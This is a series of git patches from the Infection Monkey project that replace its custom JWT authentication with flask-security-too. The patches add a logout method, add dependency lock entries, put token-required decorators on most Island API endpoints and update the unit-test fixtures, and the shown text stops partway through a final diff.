17 00:00:00 2001 From: vakarisz Date: Fri, 3 Mar 2023 14:49:49 +0200 Subject: [PATCH 0444/1338] UI: Add logout method to AuthService --- monkey/monkey_island/cc/ui/src/services/AuthService.js | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js index 1bf94c192a2..6a32bfe56ea 100644 --- a/monkey/monkey_island/cc/ui/src/services/AuthService.js +++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js @@ -9,7 +9,13 @@ export default class AuthService { }; logout = () => { - return this._authFetch(this.LOGOUT_ENDPOINT); + return this._authFetch(this.LOGOUT_ENDPOINT) + .then(response => response.json()) + .then(response => { + if(response.status === 200){ + this._removeToken(); + } + }); } authFetch = (url, options) => { From 65bb4837faa2d857281d4eb41e37c5a077967834 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 3 Mar 2023 16:46:07 +0200 Subject: [PATCH 0445/1338] Project: Add flask-security-too related requirements to pipfile lock --- monkey/monkey_island/Pipfile.lock | 97 ++++++++++++++++++++++++++++++- 1 file changed, 96 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index 7997cb9ea53..04da15bc533 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -65,6 +65,22 @@ "index": "pypi", "version": "==4.0.1" }, + "bleach": { + "hashes": [ + "sha256:1a1a85c1595e07d8db14c5f09f09e6433502c51c595970edc090551f0db99414", + "sha256:33c16e3353dbd13028ab4799a0f89a83f113405c766e9c122df8a06f5b85b3f4" + ], + "index": "pypi", + "version": "==6.0.0" + }, + "blinker": { + "hashes": [ + "sha256:1eb563df6fdbc39eeddc177d953203f99f097e9bf0e2b8f9f3cf18b6ca425e36", + "sha256:923e5e2f69c155f2cc42dafbbd70e16e3fde24d2d4aa2ab72fbe386238892462" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==1.5" + }, "boto3": { "hashes": [ "sha256:9afe405c71bfd13fa958637caec9dc91f7009b221a7d87d4b067fa6f262aab67", @@ -309,6 +325,14 @@ "index": "pypi", "version": "==1.1.1" }, + "email-validator": { + "hashes": [ + "sha256:49a72f5fa6ed26be1c964f0567d931d10bf3fdeeacdf97bc26ef1cd2a44e0bda", + "sha256:d178c5c6fa6c6824e9b04f199cf23e79ac15756786573c190d2ad13089411ad2" + ], + "markers": "python_version >= '3.5'", + "version": "==1.3.1" + }, "flask": { "hashes": [ "sha256:7eb373984bf1c770023fce9db164ed0c3353cd0b53f130f4693da0ca756a2e6d", @@ -325,6 +349,28 @@ "index": "pypi", "version": "==4.4.4" }, + "flask-login": { + "hashes": [ + "sha256:1ef79843f5eddd0f143c2cd994c1b05ac83c0401dc6234c143495af9a939613f", + "sha256:c0a7baa9fdc448cdd3dd6f0939df72eec5177b2f7abe6cb82fc934d29caac9c3" + ], + "markers": "python_version >= '3.7'", + "version": "==0.6.2" + }, + "flask-mongoengine": { + "hashes": [ + "sha256:2db13140ce7f61a935e75268190450d5ecc9b60a7310fd289f9511835aa105d4", + "sha256:ce68726d2be8d88006e88f17e4be3b7ad07c79ca8dedb60653d3dab5d9485840" + ], + "index": "pypi", + "version": "==1.0.0" + }, + "flask-principal": { + "hashes": [ + "sha256:f5d6134b5caebfdbb86f32d56d18ee44b080876a27269560a96ea35f75c99453" + ], + "version": "==0.4.0" + }, "flask-restful": { "hashes": [ "sha256:4970c49b6488e46c520b325f54833374dc2b98e211f1b272bd4b0c516232afe2", @@ -333,6 +379,22 @@ "index": "pypi", "version": "==0.3.9" }, + "flask-security-too": { + "hashes": [ + "sha256:0a0b653cfd1c5d252994bd87b1f112431cec2d5cacedfa49b36e1740da21c37d", + "sha256:727a0540caa84f72972490d3ad31e441fb6d4b6f507713bfc1636e4a41644e9f" + ], + "index": "pypi", + "version": "==5.1.1" + }, + "flask-wtf": { + "hashes": [ + "sha256:41c4244e9ae626d63bed42ae4785b90667b885b1535d5a4095e1f63060d12aa9", + "sha256:7887d6f1ebb3e17bf648647422f0944c9a469d0fcf63e3b66fb9a83037e38b2c" + ], + "markers": "python_version >= '3.7'", + "version": "==1.1.1" + }, "gevent": { "hashes": [ "sha256:018f93de7d5318d2fb440f846839a4464738468c3476d5c9cf7da45bb71c18bd", @@ -569,6 +631,21 @@ "markers": "python_version >= '3.7'", "version": "==2.1.2" }, + "mongoengine": { + "hashes": [ + "sha256:8f38df7834dc4b192d89f2668dcf3091748d12f74d55648ce77b919167a4a49b", + "sha256:c3523b8f886052f3deb200b3218bcc13e4b781661e3bea38587cc936c80ea358" + ], + "markers": "python_version >= '3.7'", + "version": "==0.27.0" + }, + "passlib": { + "hashes": [ + "sha256:aa6bca462b8d8bda89c70b382f0c298a20b5560af6cbfa2dce410c0a2fb669f1", + "sha256:defd50f72b65c5402ab2c573830a6978e5f202ad0d984793c8dde2c4152ebe04" + ], + "version": "==1.7.4" + }, "pefile": { "hashes": [ "sha256:82e6114004b3d6911c77c3953e3838654b04511b8b66e8583db70c65998017dc", @@ -959,6 +1036,13 @@ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", "version": "==1.26.14" }, + "webencodings": { + "hashes": [ + "sha256:a0af1213f3c2226497a97e2b3aa01a7e4bee4f403f95be16fc9acd2947514a78", + "sha256:b36a1c245f2d304965eb4e0a82848379241dc04b865afcc4aab16748587e1923" + ], + "version": "==0.5.1" + }, "werkzeug": { "hashes": [ "sha256:2e1ccc9417d4da358b9de6f174e3ac094391ea1d4fbef2d667865d819dfd0afe", @@ -973,6 +1057,17 @@ ], "version": "==0.4.7" }, + "wtforms": { + "extras": [ + "email" + ], + "hashes": [ + "sha256:6b351bbb12dd58af57ffef05bc78425d08d1914e0fd68ee14143b7ade023c5bc", + "sha256:837f2f0e0ca79481b92884962b914eba4e72b7a2daaf1f939c890ed0124b834b" + ], + "markers": "python_version >= '3.7'", + "version": "==3.0.1" + }, "zope.event": { "hashes": [ "sha256:73d9e3ef750cca14816a9c322c7250b0d7c9dbc337df5d1b807ff8d3d0b9e97c", @@ -1717,4 +1812,4 @@ "version": "==3.15.0" } } -} +} \ No newline at end of file From d24038dc66c5e6a829d08d9bb658c46b38accbf6 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 3 Mar 2023 16:48:27 +0200 Subject: [PATCH 0446/1338] Island: Fixup bugs with logout --- monkey/monkey_island/cc/app.py | 3 ++- monkey/monkey_island/cc/resources/auth/logout.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 323cc65378c..96cb71545b2 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -10,8 +10,8 @@ from wtforms import StringField, ValidationError from common import DIContainer -from monkey_island.cc.models import Role, User from monkey_island.cc.flask_utils import FlaskDIWrapper +from monkey_island.cc.models import Role, User from monkey_island.cc.resources import ( AgentBinaries, AgentEvents, @@ -165,6 +165,7 @@ def init_restful_endpoints(api: FlaskDIWrapper): api.add_resource(Register) api.add_resource(RegistrationStatus) api.add_resource(Login) + api.add_resource(Logout) api.add_resource(Agents) api.add_resource(LocalRun) diff --git a/monkey/monkey_island/cc/resources/auth/logout.py b/monkey/monkey_island/cc/resources/auth/logout.py index 629f6905aa1..1348e99223b 100644 --- a/monkey/monkey_island/cc/resources/auth/logout.py +++ b/monkey/monkey_island/cc/resources/auth/logout.py @@ -5,7 +5,7 @@ from flask.typing import ResponseValue from flask_security.views import logout -from monkey_island.cc.resources.AbstractResource import AbstractResource +from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.server_utils.response_utils import response_to_invalid_request from monkey_island.cc.services import AuthenticationService From 04b530d73422715b09cf72251b24ffd33dd001c0 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 3 Mar 2023 18:03:54 +0100 Subject: [PATCH 0447/1338] UT: Fix failing Flask unit tests New things in MongoEngine. --- monkey/tests/unit_tests/monkey_island/cc/services/conftest.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py index 3ffa64d30f9..7b7a3149464 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py @@ -1,4 +1,5 @@ import flask_restful +import mongomock import pytest from flask import Flask from flask_mongoengine import MongoEngine @@ -19,7 +20,6 @@ def init_mock_security_app(db_name): # Make this plaintext for most tests - reduces unit test time by 50% app.config["SECURITY_PASSWORD_HASH"] = "plaintext" app.config["TESTING"] = True - app.config["MONGO_URI"] = "mongomock://localhost" api = flask_restful.Api(app) api.representations = {"application/json": output_json} @@ -27,7 +27,7 @@ def init_mock_security_app(db_name): db = MongoEngine() db.disconnect(alias="default") - db.connect(db_name, host="mongomock://localhost") + db.connect(db_name, host="mongodb://localhost", mongo_client_class=mongomock.MongoClient) user_datastore = MongoEngineUserDatastore(db, User, Role) app.security = Security(app, user_datastore) From 9b5120c62c639683e3c96e8afcaee9972a8b281e Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 3 Mar 2023 18:54:48 +0100 Subject: [PATCH 0448/1338] Island: Add @auth_token_required to endpoints Or add a comment, where one didn't already exist, if the endpoint can't be secured --- monkey/monkey_island/cc/resources/agent_events.py | 2 +- monkey/monkey_island/cc/resources/agent_logs.py | 5 +++-- .../cc/resources/agent_signals/agent_signals.py | 1 + .../cc/resources/agent_signals/terminate_all_agents.py | 5 +++-- monkey/monkey_island/cc/resources/agents.py | 5 +++-- monkey/monkey_island/cc/resources/clear_simulation_data.py | 5 +++-- .../cc/resources/exploitations/monkey_exploitation.py | 6 ++++-- monkey/monkey_island/cc/resources/island_log.py | 6 ++++-- monkey/monkey_island/cc/resources/island_mode.py | 7 ++++--- monkey/monkey_island/cc/resources/local_run.py | 5 +++-- monkey/monkey_island/cc/resources/machines.py | 6 ++++-- monkey/monkey_island/cc/resources/nodes.py | 3 +++ .../monkey_island/cc/resources/propagation_credentials.py | 2 ++ monkey/monkey_island/cc/resources/ransomware_report.py | 5 +++-- monkey/monkey_island/cc/resources/remote_run.py | 7 ++++--- .../monkey_island/cc/resources/report_generation_status.py | 5 +++-- .../cc/resources/reset_agent_configuration.py | 5 +++-- monkey/monkey_island/cc/resources/security_report.py | 6 ++++-- monkey/monkey_island/cc/resources/version.py | 6 ++++-- .../flask_resources/agent_configuration.py | 5 +++-- 20 files changed, 62 insertions(+), 35 deletions(-) diff --git a/monkey/monkey_island/cc/resources/agent_events.py b/monkey/monkey_island/cc/resources/agent_events.py index deed285050d..dd2dc3c8106 100644 --- a/monkey/monkey_island/cc/resources/agent_events.py +++ b/monkey/monkey_island/cc/resources/agent_events.py @@ -29,7 +29,7 @@ def __init__( self._agent_event_repository = agent_event_repository self._agent_event_registry = agent_event_registry - # Agents needs this + # Agents need this. Can't secure. def post(self): events = request.json diff --git a/monkey/monkey_island/cc/resources/agent_logs.py b/monkey/monkey_island/cc/resources/agent_logs.py index 3014286d389..6abfd7f2069 100644 --- a/monkey/monkey_island/cc/resources/agent_logs.py +++ b/monkey/monkey_island/cc/resources/agent_logs.py @@ -2,9 +2,10 @@ from http import HTTPStatus from flask import request +from flask_security import auth_token_required from common.types import AgentID -from monkey_island.cc.flask_utils import AbstractResource, jwt_required +from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import IAgentLogRepository, UnknownRecordError logger = logging.getLogger(__name__) @@ -16,7 +17,7 @@ class AgentLogs(AbstractResource): def __init__(self, agent_log_repository: IAgentLogRepository): self._agent_log_repository = agent_log_repository - @jwt_required + @auth_token_required def get(self, agent_id: AgentID): try: log_contents = self._agent_log_repository.get_agent_log(agent_id) diff --git a/monkey/monkey_island/cc/resources/agent_signals/agent_signals.py b/monkey/monkey_island/cc/resources/agent_signals/agent_signals.py index a9ce9790bd9..1df4d478ea9 100644 --- a/monkey/monkey_island/cc/resources/agent_signals/agent_signals.py +++ b/monkey/monkey_island/cc/resources/agent_signals/agent_signals.py @@ -17,6 +17,7 @@ def __init__( ): self._agent_signals_service = agent_signals_service + # Used by Agent. Can't secure. def get(self, agent_id: AgentID): agent_signals = self._agent_signals_service.get_signals(agent_id) return agent_signals.dict(simplify=True), HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py b/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py index 8d730e828ae..9f50e8a5ca4 100644 --- a/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py +++ b/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py @@ -3,9 +3,10 @@ from json import JSONDecodeError from flask import request +from flask_security import auth_token_required from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic -from monkey_island.cc.flask_utils import AbstractResource, jwt_required +from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.models import TerminateAllAgents as TerminateAllAgentsObject logger = logging.getLogger(__name__) @@ -20,7 +21,7 @@ def __init__( ): self._island_event_queue = island_event_queue - @jwt_required + @auth_token_required def post(self): try: terminate_all_agents = TerminateAllAgentsObject(**request.json) diff --git a/monkey/monkey_island/cc/resources/agents.py b/monkey/monkey_island/cc/resources/agents.py index d83864fcc7a..9b4d2460e80 100644 --- a/monkey/monkey_island/cc/resources/agents.py +++ b/monkey/monkey_island/cc/resources/agents.py @@ -3,10 +3,11 @@ from http import HTTPStatus from flask import make_response, request +from flask_security import auth_token_required from common import AgentRegistrationData from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic -from monkey_island.cc.flask_utils import AbstractResource, jwt_required +from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import IAgentRepository logger = logging.getLogger(__name__) @@ -19,7 +20,7 @@ def __init__(self, island_event_queue: IIslandEventQueue, agent_repository: IAge self._island_event_queue = island_event_queue self._agent_repository = agent_repository - @jwt_required + @auth_token_required def get(self): return self._agent_repository.get_agents(), HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/clear_simulation_data.py b/monkey/monkey_island/cc/resources/clear_simulation_data.py index 8a32e7a0993..be19e336ef9 100644 --- a/monkey/monkey_island/cc/resources/clear_simulation_data.py +++ b/monkey/monkey_island/cc/resources/clear_simulation_data.py @@ -1,9 +1,10 @@ from http import HTTPStatus from flask import make_response +from flask_security import auth_token_required from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic -from monkey_island.cc.flask_utils import AbstractResource, jwt_required +from monkey_island.cc.flask_utils import AbstractResource class ClearSimulationData(AbstractResource): @@ -12,7 +13,7 @@ class ClearSimulationData(AbstractResource): def __init__(self, island_event_queue: IIslandEventQueue): self._island_event_queue = island_event_queue - @jwt_required + @auth_token_required def post(self): """ Clear all data collected during the simulation diff --git a/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py b/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py index 216a597edcc..b7ebdc49d3b 100644 --- a/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py +++ b/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py @@ -1,6 +1,8 @@ from dataclasses import asdict -from monkey_island.cc.flask_utils import AbstractResource, jwt_required +from flask_security import auth_token_required + +from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import ( IAgentEventRepository, IAgentPluginRepository, @@ -24,7 +26,7 @@ def __init__( self._machine_repository = machine_repository self._agent_plugin_repository = agent_plugin_repository - @jwt_required + @auth_token_required def get(self): monkey_exploitations = [ asdict(exploitation) diff --git a/monkey/monkey_island/cc/resources/island_log.py b/monkey/monkey_island/cc/resources/island_log.py index 037df0897be..1e604144f47 100644 --- a/monkey/monkey_island/cc/resources/island_log.py +++ b/monkey/monkey_island/cc/resources/island_log.py @@ -1,8 +1,10 @@ import logging from pathlib import Path +from flask_security import auth_token_required + from common.utils.file_utils import get_text_file_contents -from monkey_island.cc.flask_utils import AbstractResource, jwt_required +from monkey_island.cc.flask_utils import AbstractResource logger = logging.getLogger(__name__) @@ -13,7 +15,7 @@ class IslandLog(AbstractResource): def __init__(self, island_log_file_path: Path): self._island_log_file_path = island_log_file_path - @jwt_required + @auth_token_required def get(self): try: return get_text_file_contents(self._island_log_file_path) diff --git a/monkey/monkey_island/cc/resources/island_mode.py b/monkey/monkey_island/cc/resources/island_mode.py index eacd851fb39..c8dbef787da 100644 --- a/monkey/monkey_island/cc/resources/island_mode.py +++ b/monkey/monkey_island/cc/resources/island_mode.py @@ -3,9 +3,10 @@ from http import HTTPStatus from flask import request +from flask_security import auth_token_required from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic -from monkey_island.cc.flask_utils import AbstractResource, jwt_required +from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.models import IslandMode as IslandModeEnum from monkey_island.cc.repositories import ISimulationRepository @@ -23,7 +24,7 @@ def __init__( self._island_event_queue = island_event_queue self._simulation_repository = simulation_repository - @jwt_required + @auth_token_required def put(self): try: mode = IslandModeEnum(request.json) @@ -34,7 +35,7 @@ def put(self): except ValueError: return {}, HTTPStatus.UNPROCESSABLE_ENTITY - @jwt_required + @auth_token_required def get(self): island_mode = self._simulation_repository.get_mode() return island_mode.value, HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index d147f8ab7ac..7b2a967e215 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -1,8 +1,9 @@ import json from flask import jsonify, make_response, request +from flask_security import auth_token_required -from monkey_island.cc.flask_utils import AbstractResource, jwt_required +from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.services.run_local_monkey import LocalMonkeyRunService @@ -13,7 +14,7 @@ def __init__(self, local_monkey_run_service: LocalMonkeyRunService): self._local_monkey_run_service = local_monkey_run_service # API Spec: This should be an RPC-style endpoint - @jwt_required + @auth_token_required def post(self): body = json.loads(request.data) if body.get("action") == "run": diff --git a/monkey/monkey_island/cc/resources/machines.py b/monkey/monkey_island/cc/resources/machines.py index e641a48691a..d223f0e3268 100644 --- a/monkey/monkey_island/cc/resources/machines.py +++ b/monkey/monkey_island/cc/resources/machines.py @@ -1,6 +1,8 @@ from http import HTTPStatus -from monkey_island.cc.flask_utils import AbstractResource, jwt_required +from flask_security import auth_token_required + +from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import IMachineRepository @@ -10,6 +12,6 @@ class Machines(AbstractResource): def __init__(self, machine_repository: IMachineRepository): self._machine_repository = machine_repository - @jwt_required + @auth_token_required def get(self): return self._machine_repository.get_machines(), HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/nodes.py b/monkey/monkey_island/cc/resources/nodes.py index 45b98491d9b..95274bd7ca8 100644 --- a/monkey/monkey_island/cc/resources/nodes.py +++ b/monkey/monkey_island/cc/resources/nodes.py @@ -1,5 +1,7 @@ from http import HTTPStatus +from flask_security import auth_token_required + from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import INodeRepository @@ -10,5 +12,6 @@ class Nodes(AbstractResource): def __init__(self, node_repository: INodeRepository): self._node_repository = node_repository + @auth_token_required def get(self): return self._node_repository.get_nodes(), HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/propagation_credentials.py b/monkey/monkey_island/cc/resources/propagation_credentials.py index 1cf3da3e5af..b227bb1fdb7 100644 --- a/monkey/monkey_island/cc/resources/propagation_credentials.py +++ b/monkey/monkey_island/cc/resources/propagation_credentials.py @@ -16,6 +16,7 @@ class PropagationCredentials(AbstractResource): def __init__(self, credentials_repository: ICredentialsRepository): self._credentials_repository = credentials_repository + # Used by Agent. Can't secure. def get(self, collection=None): if collection == _configured_collection: propagation_credentials = self._credentials_repository.get_configured_credentials() @@ -28,6 +29,7 @@ def get(self, collection=None): return propagation_credentials, HTTPStatus.OK + # Used by Agent. Can't secure. def put(self, collection=None): credentials = [Credentials(**c) for c in request.json] if collection == _configured_collection: diff --git a/monkey/monkey_island/cc/resources/ransomware_report.py b/monkey/monkey_island/cc/resources/ransomware_report.py index 39c100652fa..3bb85b85979 100644 --- a/monkey/monkey_island/cc/resources/ransomware_report.py +++ b/monkey/monkey_island/cc/resources/ransomware_report.py @@ -1,6 +1,7 @@ from flask import jsonify +from flask_security import auth_token_required -from monkey_island.cc.flask_utils import AbstractResource, jwt_required +from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import ( IAgentEventRepository, IAgentPluginRepository, @@ -22,7 +23,7 @@ def __init__( self._machine_repository = machine_repository self._agent_plugin_repository = agent_plugin_repository - @jwt_required + @auth_token_required def get(self): return jsonify( { diff --git a/monkey/monkey_island/cc/resources/remote_run.py b/monkey/monkey_island/cc/resources/remote_run.py index 0ce4f11fde4..2977f36619d 100644 --- a/monkey/monkey_island/cc/resources/remote_run.py +++ b/monkey/monkey_island/cc/resources/remote_run.py @@ -3,8 +3,9 @@ from botocore.exceptions import ClientError, NoCredentialsError from flask import jsonify, make_response, request +from flask_security import auth_token_required -from monkey_island.cc.flask_utils import AbstractResource, jwt_required +from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.services import AWSService from monkey_island.cc.services.aws import AWSCommandResults @@ -27,7 +28,7 @@ class RemoteRun(AbstractResource): def __init__(self, aws_service: AWSService): self._aws_service = aws_service - @jwt_required + @auth_token_required def get(self): action = request.args.get("action") if action == "list_aws": @@ -48,7 +49,7 @@ def get(self): return {} - @jwt_required + @auth_token_required def post(self): body = json.loads(request.data) if body.get("type") == "aws": diff --git a/monkey/monkey_island/cc/resources/report_generation_status.py b/monkey/monkey_island/cc/resources/report_generation_status.py index 3bb050297e8..ebc30b9a3b8 100644 --- a/monkey/monkey_island/cc/resources/report_generation_status.py +++ b/monkey/monkey_island/cc/resources/report_generation_status.py @@ -1,6 +1,7 @@ from flask import jsonify +from flask_security import auth_token_required -from monkey_island.cc.flask_utils import AbstractResource, jwt_required +from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import IAgentRepository from monkey_island.cc.services.infection_lifecycle import is_report_done @@ -14,7 +15,7 @@ def __init__(self, agent_repository: IAgentRepository): def get(self): return self.report_generation_status() - @jwt_required + @auth_token_required def report_generation_status(self): return jsonify( report_done=is_report_done(self._agent_repository), diff --git a/monkey/monkey_island/cc/resources/reset_agent_configuration.py b/monkey/monkey_island/cc/resources/reset_agent_configuration.py index 0fc92a2da23..8b9eb146f37 100644 --- a/monkey/monkey_island/cc/resources/reset_agent_configuration.py +++ b/monkey/monkey_island/cc/resources/reset_agent_configuration.py @@ -1,9 +1,10 @@ from http import HTTPStatus from flask import make_response +from flask_security import auth_token_required from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic -from monkey_island.cc.flask_utils import AbstractResource, jwt_required +from monkey_island.cc.flask_utils import AbstractResource class ResetAgentConfiguration(AbstractResource): @@ -12,7 +13,7 @@ class ResetAgentConfiguration(AbstractResource): def __init__(self, island_event_queue: IIslandEventQueue): self._island_event_queue = island_event_queue - @jwt_required + @auth_token_required def post(self): """ Reset the agent configuration to its default values diff --git a/monkey/monkey_island/cc/resources/security_report.py b/monkey/monkey_island/cc/resources/security_report.py index c84e32782e1..fb525b7ecdf 100644 --- a/monkey/monkey_island/cc/resources/security_report.py +++ b/monkey/monkey_island/cc/resources/security_report.py @@ -1,11 +1,13 @@ -from monkey_island.cc.flask_utils import AbstractResource, jwt_required +from flask_security import auth_token_required + +from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.services.reporting.report import ReportService class SecurityReport(AbstractResource): urls = ["/api/report/security"] - @jwt_required + @auth_token_required def get(self): ReportService.update_report() return ReportService.get_report() diff --git a/monkey/monkey_island/cc/resources/version.py b/monkey/monkey_island/cc/resources/version.py index 9f73a1dff2e..97684da921b 100644 --- a/monkey/monkey_island/cc/resources/version.py +++ b/monkey/monkey_island/cc/resources/version.py @@ -1,7 +1,9 @@ import logging +from flask_security import auth_token_required + from monkey_island.cc import Version as IslandVersion -from monkey_island.cc.flask_utils import AbstractResource, jwt_required +from monkey_island.cc.flask_utils import AbstractResource logger = logging.getLogger(__name__) @@ -12,7 +14,7 @@ class Version(AbstractResource): def __init__(self, version: IslandVersion): self._version = version - @jwt_required + @auth_token_required def get(self): return { "version_number": self._version.version_number, diff --git a/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py b/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py index eb00001d1bd..8a9477dfc2b 100644 --- a/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py +++ b/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py @@ -2,11 +2,12 @@ from http import HTTPStatus from flask import make_response, request +from flask_security import auth_token_required from common.agent_configuration.agent_configuration import ( AgentConfiguration as AgentConfigurationObject, ) -from monkey_island.cc.flask_utils import AbstractResource, jwt_required +from monkey_island.cc.flask_utils import AbstractResource from .. import IAgentConfigurationService, PluginConfigurationValidationError @@ -23,7 +24,7 @@ def get(self): configuration_dict = configuration.dict(simplify=True) return make_response(configuration_dict, HTTPStatus.OK) - @jwt_required + @auth_token_required def put(self): try: configuration_object = AgentConfigurationObject(**request.json) From cbb1e0c297f468998154e6183ade09f6f82bb999 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 3 Mar 2023 18:57:09 +0100 Subject: [PATCH 0449/1338] Island: Remove jwt_required decorator --- .../monkey_island/cc/flask_utils/__init__.py | 1 - .../cc/flask_utils/jwt_required.py | 21 ------------------- .../cc/resources/request_authentication.py | 12 ----------- 3 files changed, 34 deletions(-) delete mode 100644 monkey/monkey_island/cc/flask_utils/jwt_required.py delete mode 100644 monkey/monkey_island/cc/resources/request_authentication.py diff --git a/monkey/monkey_island/cc/flask_utils/__init__.py b/monkey/monkey_island/cc/flask_utils/__init__.py index 4f884c061d8..8d6bfc68018 100644 --- a/monkey/monkey_island/cc/flask_utils/__init__.py +++ b/monkey/monkey_island/cc/flask_utils/__init__.py @@ -1,3 +1,2 @@ from .abstract_resource import AbstractResource from .flask_di_wrapper import FlaskDIWrapper -from .jwt_required import jwt_required diff --git a/monkey/monkey_island/cc/flask_utils/jwt_required.py b/monkey/monkey_island/cc/flask_utils/jwt_required.py deleted file mode 100644 index 19fc7449f42..00000000000 --- a/monkey/monkey_island/cc/flask_utils/jwt_required.py +++ /dev/null @@ -1,21 +0,0 @@ -from functools import wraps - -import flask_jwt_extended -from flask import make_response -from flask_jwt_extended.exceptions import JWTExtendedException -from jwt import PyJWTError - - -# See https://flask-jwt-extended.readthedocs.io/en/stable/custom_decorators/ -def jwt_required(fn): - @wraps(fn) - def wrapper(*args, **kwargs): - try: - flask_jwt_extended.verify_jwt_in_request() - return fn(*args, **kwargs) - # Catch authentication related errors in the verification or inside the called function. - # All other exceptions propagate - except (JWTExtendedException, PyJWTError) as e: - return make_response({"error": f"Authentication error: {str(e)}"}, 401) - - return wrapper diff --git a/monkey/monkey_island/cc/resources/request_authentication.py b/monkey/monkey_island/cc/resources/request_authentication.py deleted file mode 100644 index cf71b350c95..00000000000 --- a/monkey/monkey_island/cc/resources/request_authentication.py +++ /dev/null @@ -1,12 +0,0 @@ -import logging - -import flask_jwt_extended - -logger = logging.getLogger(__name__) - - -def create_access_token(username): - access_token = flask_jwt_extended.create_access_token(identity=username) - logger.debug(f"Created access token for user {username} that begins with {access_token[:4]}") - - return access_token From 7f7b3277af977a77daacadbd2be755d12d754675 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 3 Mar 2023 19:12:23 +0100 Subject: [PATCH 0450/1338] UT: Modify how the mock flask client is built to work with the new auth system --- .../unit_tests/monkey_island/cc/conftest.py | 11 +----- .../monkey_island/cc/services/conftest.py | 39 +------------------ .../unit_tests/monkey_island/conftest.py | 25 ++++++++++-- 3 files changed, 26 insertions(+), 49 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index acb3b8f6891..e01fb845173 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -1,11 +1,10 @@ from unittest.mock import MagicMock -import flask_jwt_extended import pytest from tests.common import StubDIContainer from tests.monkey_island import OpenErrorFileRepository from tests.unit_tests.monkey_island.cc.mongomock_fixtures import * # noqa: F401,F403,E402 -from tests.unit_tests.monkey_island.conftest import init_mock_app +from tests.unit_tests.monkey_island.conftest import init_mock_security_app import monkey_island.cc.app import monkey_island.cc.resources.auth @@ -30,8 +29,6 @@ def repository_encryptor(): @pytest.fixture def flask_client(monkeypatch_session): - monkeypatch_session.setattr(flask_jwt_extended, "verify_jwt_in_request", lambda: None) - container = MagicMock() container.resolve_dependencies.return_value = [] @@ -42,20 +39,16 @@ def flask_client(monkeypatch_session): @pytest.fixture def build_flask_client(monkeypatch_session): def inner(container): - monkeypatch_session.setattr(flask_jwt_extended, "verify_jwt_in_request", lambda: None) - return get_mock_app(container).test_client() return inner def get_mock_app(container): - app, api = init_mock_app() + app, api = init_mock_security_app() flask_resource_manager = monkey_island.cc.app.FlaskDIWrapper(api, container) monkey_island.cc.app.init_api_resources(flask_resource_manager) - flask_jwt_extended.JWTManager(app) - return app diff --git 